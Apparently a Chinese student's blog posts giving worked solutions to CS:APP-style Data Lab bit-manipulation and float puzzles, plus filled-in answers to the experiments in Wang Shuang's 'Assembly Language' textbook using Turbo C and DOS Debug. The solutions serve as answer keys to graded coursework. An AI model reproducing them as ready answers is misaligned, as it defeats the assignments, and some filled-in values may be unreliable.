    这个问题需要分正数和负数两种情况讨论,对于正数来说,如果一个数x能表示成n位的补码,那么它从最高位直到第n位一定全部为0,它的第n位一定不能为1,否则它就会变成一个负数。对于一个负数来说,如果一个数x能表示成n位的补码,那么它只需从最高位到第n位全部为1即可。
    因此,我们可以先将x右移n-1位,对于满足条件的正数和负数,这将产生一个全0的数或是一个全1的数。然后我们可以根据x的符号构造一个全0或者是全1的掩码。通过将这两个数按位异或并且取逻辑非,就能得到正确的结果。
    答案:

    1
    2
    3
    4
    5
    6
    int fitsBits(int x, int n) {
    /* if fitsBits then from highest bit to n bit will all become 1 - negative number or 0 - positive number
    * then can construct a mask to implement fitsBits with the help of ^ and !
    */
    return !((x >> (n + (~1) + 1)) ^ (((1 << 31) & x) >> 31));
    }
  • divpwr2
    问题:要求使用! ~ & ^ | + << >>以及不超过15个操作符求出x/(2^n)的结果,其中0<=n<=30。
    分析:对于正数,直接使用算术右移即可;对于负数,需要加上适当的偏移量以实现向上舍入,这可以用根据符号位生成1个全0或者全1的掩码来控制。
    答案:

    1
    2
    3
    4
    5
    6
    int divpwr2(int x, int n) {
    /* add bias when x is negative, which is controlled by a sign-related mask */
    int mask = x >> 31;
    int add = ((1 << n) + (~1) + 1) & mask;
    return (x + add) >> n;
    }
  • negate
    问题:要求使用! ~ & ^ | + << >>以及不超过5个操作符求出x的负数。
    分析:-x = (~x + 1)
    答案:

    1
    2
    3
    4
    int negate(int x) {
    /* -x = (~x) + 1 */
    return ~x + 1;
    }
  • isPositive
    问题:要求使用! ~ & ^ | + << >>以及不超过8个操作符判断x是否为正数。
    分析:对于正数,它的最高位一定是0,同时还要排除0的影响。
    答案:

    1
    2
    3
    4
    int isPositive(int x) {
    /* ensure the highest bit is 0 and x != 0 */
    return (!(x >> 31)) ^ (!(x ^ 0));
    }
  • isLessOrEqual
    问题:要求使用! ~ & ^ | + << >>以及不超过24个操作符判断x是否小于或等于y。
    分析:
    对于这个问题,我们需要按照是否溢出,以及x与y的符号分别讨论。
    最基本的思路是,做y-x,若结果的符号位为1,则返回0,反之返回1。但这样就忽略了溢出可能导致的问题,现在我们做如下考虑。
    若x,y均为正数,或x,y均为负数,则y-x绝不可能溢出,因此可直接用差的符号位判断大小。
    若x为正数,y为负数,可以直接返回0。
    若x为负数,y为正数,可以直接返回1。
    我们可以生成两种条件变量,一种为x,y同号时返回正确结果的条件变量,另一种为x,y异号时返回正确结果的条件变量。
    对于x,y同号和异号这两种不同的情况,我们可以用!((x ^ y) >> 31)生成掩码使得在任意的情况下,只有正确的条件变量生效。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    int isLessOrEqual(int x, int y) {
    /* different processing ways when x and y have the same signs or different signs */
    int diff = y + (~x) + 1;
    int not_diff_sign = !(diff >> 31);
    int mask = !((x ^ y) >> 31);
    int result_not_overflow = mask & not_diff_sign;
    int result_overflow = (!mask) & (x >> 31);
    return result_overflow | result_not_overflow;
    }
  • ilog2
    问题:要求使用! ~ & ^ | + << >>以及不超过90个操作数求出x以2为底的对数(向下舍入),保证x>0。
    分析:
    这道题参考了网上的答案。核心的思想是二分查找。
    首先将x右移16位,如果x>0,则表明结果的第5位为1,将该位置为1。
    然后根据结果将x右移8位(第5位为0)或者将x右移24位(第5位为1),如果x>0,则表明结果的第4位为1,将该位置为1。
    以此类推,直到得出结果。
    答案:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    int ilog2(int x) {
    /* Binary Search */
    int result = (!!(x >> 16) << 4);
    result = result + ((!!(x >> (result + 8))) << 3);
    result = result + ((!!(x >> (result + 4))) << 2);
    result = result + ((!!(x >> (result + 2))) << 1);
    result = result + (!!(x >> (result + 1)));
    return result;
    }

第三部分 浮点数操作

  • float_neg
    问题:返回对于浮点数参数f,-f的等价的位级表示。当参数位NAN时,返回NAN。函数的参数和返回值均为unsigned,但它们实际上都是浮点数的位表示。最多允许使用10个操作符。
    分析:首先要判断参数是否是NAN,如果是则直接返回,否的话直接将参数的最高位取反即可。
    NAN的阶码全为1,尾码不全为0。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    unsigned float_neg(unsigned uf) {
    /* m_flag - if m != 0 e_flag - if e == 0xff */
    unsigned m_flag = 0x007fffff & uf;
    unsigned e_flag = !(0x7f800000 & (~uf));
    if (e_flag && m_flag) {
    return uf;
    } else {
    return 0x80000000 ^ uf;
    }
    }
  • float_i2f
    问题:返回(float)x的位级的等价表示。结果被作为unsigned int返回,但它实际上是单精度浮点数的位表示。最多允许使用30个操作符。
    分析:
    首先考虑到整数中只有0会被转换为非规格化浮点数,而其他整数会被转化为规格化浮点数。因此对于0需要做额外的处理。
    其次,对于负数,我们需要将其转化为正数再做处理,这就要求我们需要将x的符号保存下来,并且从补码转化为无符号表示。
    然后,我们需要根据转换成无符号数的x算出阶码e和尾码m。
    最后,我们将尾码舍入后再和阶码符号一起,生成最终的结果即可。
    这里我有一个比较大的误区,舍入的时候看的不仅仅是带舍入位的下一位,而是待舍入位之后的所有位。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    unsigned float_i2f(int x) {
    /* 1.process 0 individually 2.process negative number and store the sign 3.get the e number 4.get the m number and round it 5.construct the result */
    unsigned count = 0;
    unsigned mask = 0x80000000;
    unsigned sign = x & mask;
    unsigned c = 0, absx = x;
    if (x == 0) {
    return 0;
    } else {
    if (x < 0) {
    absx = -x;
    }
    while (!(mask & absx)) {
    count = count + 1;
    mask = mask >> 1;
    }
    absx = absx << (count + 1);
    if (((absx & 0x1ff) > 0x100) || ((absx & 0x3ff) >= 0x300)) {
    c = 1;
    }
    return sign + ((158 - count) << 23) + (absx >> 9)+ c;
    }
    }
  • float_twice
    问题:返回对于浮点数参数f,2*f的等价的位级表示。参数和结果都为unsigned int,但它们实际上是浮点数的位表示。当参数是NAN时,返回NAN。最多允许使用30个操作符。
    分析:
    对于非规格化浮点数,只要在保留符号位的情况下将尾码m右移一位即可,这样同时解决了尾码乘以二和进位的情况。
    对于规格化浮点数,只要将其阶码e加1即可。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    unsigned float_twice(unsigned uf) {
    /* denormailized number - m = m << 1 normalized number - e = e + 1 */
    unsigned result = uf;
    if ((uf & 0x7f800000) == 0) {
    result = ((uf & 0x007fffff) << 1) | (uf & 0x80000000);
    } else if ((uf & 0x7f800000) != 0x7f800000) {
    result = uf + 0x00800000;
    }
    return result;
    }

评论和共享

开学三周,王爽的《汇编语言》(第三版)总算是基本上看完了,本文是总结的第三部分也是最后一部分(大概),主要是书后的综合研究

研究试验1 搭建一个精简的C语言开发环境

TC进行连接需要如下的文件:

  • C0S.OBJ
  • CS.LIB
  • EMU.LIB
  • GRAPHICS.LIB
  • MATHS.LIB

研究试验2 使用寄存器

  1. 编一个程序ur1.c
    1
    2
    3
    4
    5
    6
    7
    8
    9
    main ()
    {
    _AX = 1;
    _BX = 1;
    _CX = 2;
    _AX = _BX + _CX;
    _AH = _BL + _CL;
    _AL = _BH + _CH;
    }
  2. 用Debug加载ur1.exe,用u命令查看ur1.exe编译后的机器码和汇编代码。
    思考:main函数的代码在什么段中?用Debug怎样找到ur1.exe中main函数的代码?
    回答:main函数的代码在CS段中,需要知道main函数的偏移地址才能找到main函数的代码。
  3. 用下面的方法打印出ur1.exe被加载运行时,main函数在代码段中的偏移地址。
    1
    2
    3
    4
    main ()
    {
    printf("%x\n", main);
    }
    思考:为什么这个程序能够打印出main函数在代码段中的偏移地址?
    回答:由学过的知识可知,C语言中用指针表示地址,这里的printf打印了main函数的入口地址,也即main函数在代码段中的偏移地址。
  4. 用Debug加载ur1.exe,根据上面打印出的main函数的偏移地址,用u命令察看main函数的汇编代码。仔细找到ur1.c中每条C语句对应的汇编代码。

    地址汇编语句C语句
    076A:01FAPUSH BP____
    076A:01FBMOV BP,SP____
    076A:01FDMOV AX,0001_AX = 1
    076A:0200MOV BX,0001_BX = 1
    076A:0203MOV CX,0002_CX = 2
    076A:0206MOV AX,BX____
    076A:0208ADD AX,CX_AX = _BX + _CX
    076A:020AMOV AH,BL____
    076A:020CADD AH,CL_AH = _BL + _CL
    076A:020EMOV AL,BH____
    076A:0210ADD AL,CH_AL = _BH + _CH
    076A:0212POP BP____
    076A:0213RET____

    注意:在这里,对于main函数汇编代码开始处的“push bp mov bp,sp”和结尾处的“pop bp”,这里只了解到:这是C编译器安排的为函数中可能使用到bp寄存器而设置的,就可以了。

  5. 通过main函数后面有ret指令,我们可以设想:C语言将函数实现为汇编语言中的子程序。研究下面程序的汇编代码,验证我们的设想。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void f(void);

    main()
    {
    _AX = 1; _BX = 1; _CX = 2;

    f();
    }

    void f(void)
    {
    _AX = _BX + _CX;
    }

    编译、连接后用Debug查看汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    PUSH BP
    MOV BP,SP
    MOV AX,0001
    MOV BX,0001
    MOV CX,0002
    CALL 020B
    POP BP
    RET
    PUSH BP
    MOV BP,SP
    MOV AX,BX
    ADD AX,CX
    POP BP
    RET

    设想正确

研究试验3 使用内存空间

  1. 编一个程序um1.c:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    main()
    {
    *(char *)0x2000='a';
    *(int *)0x2000=0xf;
    *(char far *)0x20001000='a';

    _AX=0x2000;
    *(char *)_AX='b';

    _BX=0x1000;
    *(char *)(_BX+_BX)='a';
    *(char far *)(0x20001000+_BX)=*(char *)_AX;
    }

    把um1.c保存在C:\MINIC下,编译,连接生成um1.exe。然后用Debug加载um1.exe,对main函数的汇编代码进行分析,找到每条C语句对应的汇编代码;对main函数进行单步跟踪,察看相关内存单元的内容。

    地址汇编语句C语句相关内存单元
    076A:01FAPUSH BP________
    076A:01FBMOV BP,SP________
    076A:01FDMOV BYTE PTR [2000],61*(char *)0x2000=’a’07C4:2000 -> 61
    076A:0202MOV WORD PTR [2000],000F*(int *)0x2000=0xf07C4:2000-07C4:2001 -> 0F 00
    076A:0208MOV BX,2000________
    076A:020BMOV ES,BX________
    076A:020DMOV BX,1000________
    076A:0210ES:
    076A:0211MOV BYTE PTR [BX],61*(char far *)0x20001000=’a’2000:1000 -> 61
    076A:0214MOV AX,2000_AX=0x2000____
    076A:0217MOV BX,AX________
    076A:0219MOV BYTE PTR [BX],62*(char *)_AX=’b’07C4:2000 -> 62
    076A:021CMOV BX,1000_BX=0x1000____
    076A:021FADD BX,BX________
    076A:0221MOV BYTE PTR [BX],61*(char *)(_BX + _BX)=’a’07C4:2000 -> 61
    076A:0224MOV BX,AX________
    076A:0226MOV AL,[BX]________
    076A:0228XOR CX,CX________
    076A:022AADD BX,1000________
    076A:022EADC CX,2000________
    076A:0232MOV ES,CX________
    076A:0234ES:
    076A:0235MOV [BX],AL&#142(char far *)(0x20001000+BX)=*(char *)AX2000:3000 -> 61
    076A:0237POP BP________
    076A:0238RET________
  2. 编一个程序,用一条C语句实现在屏幕的中间显示一个绿色的字符”a”。

    1
    2
    3
    4
    main()
    {
    *(int far *)0xb80007d0=0x261
    }
  3. 分析下面程序中所有函数的汇编代码,思考相关的问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    int a1, a2, a3;
    void f(void);
    main()
    {
    int b1, b2, b3;
    a1 = 0xa1; a2 = 0xa2; a3 = 0xa3;
    b1 = 0xb1; b2 = 0xb2; b3 = 0xb3;
    }
    void f(void)
    {
    int c1, c2, c3;
    a1 = 0x0fa1; a2 = 0x0fa2; a3 = 0x0fa3;
    c1 = 0xc1; c2 = 0xc2; c3 = 0xc3;
    }

    问题:C语言将全局变量存放在哪里?将局部变量存放在哪里?每个函数开头的“push bp mov bp,sp”有何含义?
    程序中main函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    PUSH BP
    MOV BP, SP
    SUB SP, 6
    MOV WORD PTR [01A6], 00A1
    MOV WORD PTR [01A8], 00A2
    MOV WORD PTR [01AA], 00A3
    MOV WORD PTR [BP-6], 00B1
    MOV WORD PTR [BP-4], 00B2
    MOV WORD PTR [BP-2], 00B3
    MOV SP, BP
    POP BP
    RET

    程序中f函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    PUSH BP
    MOV BP, SP
    SUB SP, 6
    MOV WORD PTR [01A6], 0FA1
    MOV WORD PTR [01A8], 0FA2
    MOV WORD PTR [01AA], 0FA3
    MOV WORD PTR [BP-6], 00C1
    MOV WORD PTR [BP-4], 00C2
    MOV WORD PTR [BP-2], 00C3
    MOV SP, BP
    POP BP
    RET

    答案:
    C语言将全局变量存放在内存中,将局部变量存放在栈中,每个函数开头的push bp以及mov bp,sp是为了保护与还原现场。

  4. 分析下面程序的汇编代码,思考相关的问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    int f(void);

    int a,b,ab;

    main()
    {
    int c;
    c = f();
    }
    int f(void)
    {
    ab=a+b;

    return ab;
    }

    问题:C语言将函数的返回值存放在哪里?
    程序中main函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    PUSH BP
    MOV BP, SP
    SUB SP, 2
    CALL 020A
    MOV [BP-2], AX
    MOV SP, BP
    POP BP
    RET

    程序中f函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    PUSH BP
    MOV BP, SP
    MOV AX, [01A6]
    ADD AX, [01A8]
    MOV [01AA], AX
    MOV AX, [01AA]
    JMP 021C
    POP BP
    RET

    答案:
    在该情况下,C语言将返回值存放在通用寄存器AX中。

  5. 下面的程序向安全的内存空间写入从“a”到“h”8个字符,理解程序的含义,深入理解相关的知识。(注意:请自己学习、研究malloc函数的用法)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #define Buffer ((char *) * (int far *)0x02000000)

    main()
    {
    Buffer = (char *)malloc(20);

    Buffer[10] = 0;

    while(Buffer[10]!=8)
    {
    Buffer[Buffer[10]]='a'+Buffer[10];
    Buffer[10]++;
    }
    }

    理解:
    程序通过malloc分配大小为20字节的空间给并将其地址存入Buffer所指向的空间即0200:0000中。随后,通过一个while循环将这20个字节的空间的0-7个字节分别赋予对应的字符,并且用第10个字节计数。

研究试验4 不用main函数编程

  1. 把程序F.C保存在C:\MINIC下,对其进行编译,连接,思考相关的问题。
    问题:
    ①编译和连接哪个环节会出问题?
    ②显示出的错误信息是什么?
    ③这个错误信息可能和哪个文件有关?
    答案:
    ①连接环节出现了错误
    ②在C0S模块中未定义的标号_main
    ③和C0S.OBJ这个文件有关

  2. 用学习汇编语言时使用的LINK.EXE对TC.EXE生成的F.OBJ文件进行连接,生成F.EXE。用DEBUG加载F.EXE,察看整个程序的汇编代码。思考相关的问题。
    问题:
    ①F.EXE的程序代码总共有多少字节?
    ②F.EXE的程序能正确返回吗?
    ③F函数的偏移地址是多少?
    答案:
    ①F.EXE的程序代码总共有1DH个字节
    ②F.EXE的程序不能正确的返回
    ③F函数的偏移地址为0

  3. 写一个程序M.C。

    1
    2
    3
    4
    5
    main ()
    {
    *(char far *)(0xb8000000+160*10+80)='a';
    *(char far *)(0xb8000000+160*10+81)=2;
    }

    用TC.EXE对M.C进行编译,连接,生成M.EXE,用Debug察看M.EXE整个程序的汇编代码。思考相关的问题。
    问题:
    (1)M.EXE的程序代码总共有多少字节?
    (2)M.EXE的程序能正确返回吗?
    (3)M.EXE程序中的main函数和F.EXE中的f函数的汇编代码有何不同?
    答案:
    (1)M.EXE的程序代码总共有5F5H个字节
    (2)M.EXE的程序能正确返回
    (3)M.EXE程序中的main函数和F.EXE中的f函数的汇编代码没有不同

  4. 用Debug对m.exe进行跟踪:
    (1)找到对main函数进行调用的指令的地址
    (2)找到整个程序返回的指令
    注意:使用g命令和p命令。
    答案:
    (1)对main函数进行调用的指令的地址为076A:011A CALL 01FA
    (2)整个程序返回的指令为076A:0156 INT 21

  5. 思考如下几个问题:
    (1)对main函数调用的指令和程序返回的指令是哪里来的?
    (2)没有main函数时,出现的错误信息里有和“C0S”相关的信息;而前面在搭建开发环境时,没有C0S.OBJ文件TC.EXE就无法对程序进行连接。是不是TC.EXE把C0S.OBJ和用户程序的.OBJ一起进行连接生成.EXE文件?
    (3)对用户程序的main函数进行调用的指令和程序返回的指令是否就来自C0S.OBJ文件?
    (4)我们如何看到C0S.OBJ文件中的程序代码呢?
    (5)C0S.OBJ文件里有我们设想的代码吗?
    回答:
    (1)对main函数调用的指令和程序返回的指令是来自于其他的文件而非编译后的文件。
    (2)是的
    (3)是的
    (4)用LINK.EXE对其进行连接即可
    (5)有

  6. 用LINK.EXE对C:\MINIC目录下的C0S.OBJ进行连接,生成C0S.EXE。
    用Debug分别察看C0S.EXE和M.EXE的汇编代码。注意:从头开始察看,两个文件中的程序代码有和相同之处?
    两个程序的代码基本相同,且都是在011A调用了CALL指令,在0156调用了INT 21中断

  7. 用Debug找到M.EXE中调用main函数的CALL指令的偏移地址,从这个偏移地址开始向后察看10条指令;然后用Debug加载C0S.EXE,从相同的偏移地址开始向后察看10条指令,对两处的指令进行对比。
    M.EXE和C0S.EXE在偏移地址011A之后的10条指令除了跳转指令的跳转地址有所不同外几乎完全相同。

  8. 下面,我们用汇编语言编一个程序C0S.ASM,然后把它编译为C0S.OBJ,替代C:\MINIC目录下的C0S.OBJ。
    程序C0S.ASM:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    assume cs:code
    data segment
    db 128 dup (0)
    data ends

    code segment
    start: mov ax, data
    mov ds, ax
    mov ss, ax
    mov sp, 108

    call s

    mov ax, 4c00h
    int 21h

    s:

    code ends

    end start
  9. 在C:\MINIC目录下,用TC.EXE将F.C重新进行编译,连接,生成F.EXE。这次能通过连接吗?F.EXE可以正确运行吗?用Debug察看F.EXE的汇编代码。
    能通过连接,可以正确运行,汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    MOV AX,076A
    MOV DS,AX
    MOV SS,AX
    MOV SP,0080
    CALL 0012
    MOV AX,4C00
    INT 21
    MOV BP,SP
    MOV BX,B800
    MOV ES,BX
    MOV BX,0690
    ES:
    MOV BYTE PTR [BX],61
    MOV BX,B800
    MOV ES,BX
    MOV BX,0691
    ES:
    MOV BYTE PTR [BX],02
    POP BP
    RET
    ...
  10. 在新的C0S.OBJ的基础上,写一个新的F.C,向安全的内存空间写入从“a”到“h”的8个字符,分析、理解F.C。
    程序F.C:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #define Buffer ((char *) * (int far *)0x02000000)

    f()
    {
    Buffer = 0;

    Buffer[10] = 0;

    while(Buffer[10]!=8)
    {
    Buffer[Buffer[10]]='a'+Buffer[10];
    Buffer[10]++;
    }
    }

    汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    MOV AX,076A
    MOV DS,AX
    MOV SS,AX
    MOV SP,0080
    CALL 0012 ;调用f函数
    INT 21
    PUSH BP ;0012
    MOV BP,SP
    MOV BX,0200
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV WORD PTR [BX],0000 ;设置Buffer=0,即将0200:0000处的内存单元改为0
    MOV BX,0200
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX] ;将Buffer解引用,即将0200:0000处的内存字单元存入BX中
    MOV BYTE PTR [BX+0A],00 ;设置Buffer[10]=0 即将DS:000A处的内存单元改为0
    JMP 006D ;while 循环条件判断
    MOV BX,0200 ;0031
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX] ;将Buffer解引用,即将0200:0000处的内存字单元存入BX中
    MOV AL,[BX+0A] ;AL等于Buffer[10],即将DS:000A内存字节单元的内容存入AL中
    ADD AL,61 ;为AL加上'a'
    MOV BX,0200
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX] ;将Buffer解引用,即将0200:0000处的内存字单元存入BX中
    PUSH AX
    PUSH BX
    MOV BX,0200
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX] ;将Buffer解引用,即将0200:0000处的内存字单元存入BX中
    MOV AL,[BX+0A] ;将Buffer[10]的值传入AL,即将DS:000A处的内存字节单元存入AL中
    CBW ;将AL扩展至16位
    POP BX ;取回BX
    ADD BX,AX ;BX现在值为Buffer[10]
    POP AX ;取回AX
    MOV [BX],AL ;将所要设置的数值'a'+Buffer[10]存入Buffer[Buffer[10]]中
    MOV BX,0200
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX] ;将Buffer解引用,即将0200:0000处的内存字单元存入BX中
    INC BYTE PTR [BX+0A] ;将Buffer[10]自增
    MOV BX,0200 ;006D
    MOV ES,BX
    XOR BX,BX
    ES:
    MOV BX,[BX]
    CMP BYTE PTR [BX+0A],08 ;判断Buffer[10]是否等于8
    JNZ 0031 ;不等于则继续
    POP BP ;等于则返回
    RET

研究试验5 函数如何接受不定数量的参数

用C:\MINIC下的TC.EXE完成下面的试验。

  1. 写一个程序A.C:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void showchar(char a, int b);

    main()
    {
    showchar('a', 2);
    }

    void showchar(char a, int b)
    {
    *(char far *)(0xb8000000+160*10+80)=a;

    *(char far *)(0xb8000000+160*10+81)=b;
    }

    用TC.EXE对A.C进行编译,连接,生成A.EXE。用Debug加载A.EXE,对函数的汇编代码进行分析。解答这两个问题:main函数是如何给showchar传递参数的?showchar是如何接受参数的?
    main函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    PUSH BP
    MOV BP,SP
    MOV AX,0002
    PUSH AX
    MOV AL,61
    PUSH AX
    CALL 020B ;调用showchar函数
    POP CX
    POP CX
    POP BP
    RET

    showchar函数的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    PUSH BP
    MOV BP,SP
    MOV AL,[BP+4]
    MOV BX,B800
    MOV ES,BX
    MOV BX,0690
    ES:
    MOV [BX],AL ;f函数的第1条语句
    MOV AL,[BP+6]
    MOV BX,B800
    MOV ES,BX
    MOV BX,0691
    ES:
    MOV [BX],AL ;f函数的第2条语句
    POP BP
    RET

    答案:
    main函数通过将对应的参数压栈来给showchar传递参数,并且在函数返回后通过POP操作将参数退栈。
    showchar通过SS:BP以及寻址在栈中取得对应的参数。

  2. 写一个程序B.C:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    void showchar(int,int,...);

    main()
    {
    showchar(8,2,'a','b','c','d','e','f','g','f');
    }

    void showchar(int n,int color,...)
    {
    int a;

    for(a=0;a!=n;a++)
    {
    *(char far *)(0xb8000000+160*10+80+a+a)=*(int *)(_BP+8+a+a);//加8是因~为call的时候将CS、IP压栈

    *(char far *)(0xb8000000+160*10+81+a+a)=color;
    }
    }

    分析程序B.C,深入理解相关的知识。
    思考:showchar函数是如何知道要显示多少个字符的?printf函数是如何知道有多少个参数的?
    待显示字符的个数为showchar函数的第一个参数,showchar函数以此得知要显示的字符的个数。
    通过对printf的一个参数所指向的字符串的分析,printf函数以此得知参数的个数。

  3. 实现一个简单的printf函数,只需支持“%c %d”即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    void myprintf(char *, ...);

    main()
    {
    myprintf("%d %c abc %%\n", -12345, 48);
    }

    void myprintf(char * str, ...)
    {
    int count = 0;
    int position = 0;
    while (*str != 0)
    {
    if (*str == 37)
    {
    str++;
    if (*str == 68 || *str == 100)
    {
    int index;
    char flag = 0;
    int length = 0;
    int num = *(int *)(_BP + 6 + count);
    if (num < 0) {
    flag = 1;
    num *= -1;
    }
    while (num != 0)
    {
    num = num / 10;
    length++;
    }
    num = *(int *)(_BP + 6 + count);
    if (flag == 1) num *= -1;
    position += length + flag - 1;
    for (index = 0 ; index < length; ++index)
    {
    *(char far *)(0xb8000000 + 1600 + position * 2) = num % 10 + 48;
    num = num / 10;
    position--;
    }
    if (flag == 1)
    {
    *(char far *)(0xb8000000 + 1600 + position * 2) = '-';
    position--;
    }
    position += length + flag + 1;
    count += 2;
    str++;
    }
    else if (*str == 67 || *str == 99)
    {
    *(char far *)(0xb8000000 + 1600 + position * 2) = *(char *)(_BP + 6 + count);
    count++;
    position++;
    str++;
    }
    else
    {
    *(char far *)(0xb8000000 + 1600 + position * 2) = '%';
    position++;
    }
    }
    else
    {
    *(char far *)(0xb8000000 + 1600 + position * 2) = *str;
    position++;
    str++;
    }
    }
    }

评论和共享

开学三周,王爽的《汇编语言》(第三版)总算是基本上看完了,本文是总结的第二部分,包括了书本上的实验

实验1 查看CPU和内存,用机器指令和汇编指令编程

  1. 使用Debug,将下面的程序段写入内存,逐条执行,观察每条指令执行后,CPU中相关寄存器的变化。

    机器码汇编指令执行后相关寄存器变化
    b8 20 4emov ax, 4E20HAX=4E20H
    05 16 14add ax, 1416HAX=6236H
    bb 00 20mov bx, 2000HBX=2000H
    01 d8add ax, bxAX=8236H
    89 c3mov bx, axBX=8236H
    01 d8add ax, bxAX=046CH
    b8 1a 00mov ax, 001AHAX=001AH
    bb 26 00mov bx, 0026HBX=0026H
    00 d8add al, blAX=0040H
    00 dcadd ah, blAX=2640H
    00 c7add bh, alBX=4026H
    b4 00mov ah, 0AX=0040H
    00 d8add al, blAX=0066H
    04 9cadd al, 9CHAX=0002H

    提示,可用E命令和A命令以两种方式将指令写入内存。注意用T命令执行时,CS:IP的指向。

  2. 将下面3条指令写入从2000:0开始的内存单元中,利用这3条指令计算2的8次方。

    1
    2
    3
    mov ax, 1
    add ax, ax
    jmp 2000:0003

    每次执行 add ax, ax 相当于将ax乘2,重复执行该条指令8次即可。

  3. 查看内存中的内容。
    PC机主板上的ROM写有一个生产日期,在内存FFF00H~FFFFFH的某几个单元中,请找到这个生产日期并试图改变它。
    提示,如果读者对实验的结果感到疑惑,请仔细阅读第1章中的1.15节。

通过Debug中的D命令,可以观察到生产日期以MM/DD/YY的格式存储在内存的ffff:0005-ffff:000c共计8个字节处。
该生产日期不可被修改,因为其只读。

  1. 向内存从B8100H开始的单元中填写数据,如:
    1
    -e B810:0000 01 01 02 02 03 03 04 04
    请读者先填写不同的数据,观察产生的现象;再改变填写的地址,观察产生的现象。
    提示,如果读者对实验的结果感到疑惑,请仔细阅读第1章中的1.15节。

通过向内存中的显存地址空间写入数据,控制在屏幕上的不同位置显示不同颜色的字符。

实验2 用机器指令和汇编指令编程

  1. 使用Debug,将下面的程序段写入内存,逐条执行,根据指令执行后的实验运行情况填空。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    mov ax, ffff
    mov ds, ax

    mov ax, 2200
    mov ss, ax

    mov sp, 1000

    mov ax,[0] ;ax = _____
    add ax,[2] ;ax = _____
    mov bx,[4] ;bx = _____
    add bx,[6] ;bx = _____

    push ax ;sp = _____ 修改的内存单元的地址是_____内容为_____
    push bx ;sp = _____ 修改的内存单元的地址是_____内容为_____
    pop ax ;sp = _____ ax = _____
    pop bx ;sp = _____ bx = _____

    push [4] ;sp = _____ 修改的内存单元的地址是_____内容为_____
    push [6] ;sp = _____ 修改的内存单元的地址是_____内容为_____

    结果(不唯一):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    D4EA
    25EE
    3002
    5F37
    00FE 220FE 25EE
    00FC 220FC 5F37
    00FE 5F37
    0100 25EE
    00FE 220FE 3002
    00FC 220FC 2F35
  2. 仔细观察图3.19中的实验过程,然后分析:为什么2000:0~2000:f中的内容会发生改变?
    在使用T命令进行单步追踪的时候,产生了中断,为了保护现场,CPU将PSW、CS和IP依此入栈,导致了内存相关位置内容的改变。

实验3 编程、编译、连接、跟踪

  1. 将下面的程序保存为t1.asm文件,将其生成可执行文件t1.exe。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    assume cs:codesg

    codesg segment
    mov ax, 2000H
    mov ss, ax
    mov sp, 0
    add sp, 10
    pop ax
    pop bx
    push ax
    push bx
    pop ax
    pop bx

    mov ax, 4c00h
    int 21h
    codesg ends

    end

    结果:

    1
    2
    3
    edit t1.asm
    masm.exe t1.asm;
    link.exe t1.obj;
  2. 用Debug跟踪t1.exe的执行过程,写出每一步执行后,相关寄存器中的内容和栈顶的内容。

    汇编指令相关寄存器的内容栈顶的内容
    mov ax, 2000HAX = 2000H00B8H
    mov ss, axSS = 2000H_____
    mov sp, 0SP = 00000H
    add sp, 10SP = 100000H
    pop axAX = 0 SP = 120000H
    pop bxBX = 0 SP = 140000H
    push axSP = 120000H
    push bxSP = 100000H
    pop axAX = 0 SP = 120000H
    pop bxBX = 0 SP = 140000H
